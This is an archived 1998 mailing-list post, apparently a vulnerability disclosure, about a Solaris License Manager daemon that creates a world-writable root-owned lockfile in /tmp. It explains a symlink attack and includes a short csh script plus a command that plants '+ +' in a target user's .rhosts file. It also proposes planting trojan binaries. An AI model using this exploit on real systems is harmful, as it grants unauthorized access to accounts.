On Wed, 21 Oct 1998, Joel Eriksson wrote: > License Manager on Solaris 2.5.1 tends to make stupid lockfiles owned by > root and mode 666 (worldwrite'able). That is not good, since anyone could > create rootowned files which they then would be able to modify. It's an > even bigger problem since it just takes about a minute 'til the lockfile > is created after it's replaced with a symlink which it follows .. I discovered this a few months ago and neglected to post it. Solaris 2.6 is affected as well. A lock file locksuntechd is created in /tmp mode 666 owned by root and group root. I think the program is lmgrd FLEXlm v2.26d that is causing the problems, either that or suntechd. %ls -la /tmp/locksuntechd -rw-rw-rw- 1 root root 0 Oct 22 12:51 locksuntechd suntechd is in /opt/SUNWspro/SunTech_License/bin/ there is a log file that contains some stuff about when the daemon is going up or down and also if users are exploiting it you can see entries about the lock file not being available. It is in /opt/SUNWspro/SunTech_License/license.log So to exploit it, just remove the locksuntechd file and replace it with a symlink to a file you want to create. It will not overwrite existing files from the testing that i did. Then the link is followed and the new file is created with mode 666 ownership root. You can then delete the symlink and create a new one to somewhere else and it will work again and again and again...what fun. Users could create .rhosts files, new system webpages, new trojan binaries with names spelled slightly off that get misspelled often (finger-fineger, pine-pien, ls-sl) come on.. tell me you never typed one of those out wrong while you were typing fast! ------ #!/bin/csh -f # Change target user name before running # Iconoclastat_private 10/98 rm /tmp/locksuntechd ln -s ~targetuser/.rhosts /tmp/locksuntechd exit ------ then wait a min and cat + + >> ~targetuser/.rhosts that's all for now... -Iconoclast iconoclastat_private shout-outs to segv and timespace
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:20:57 PDT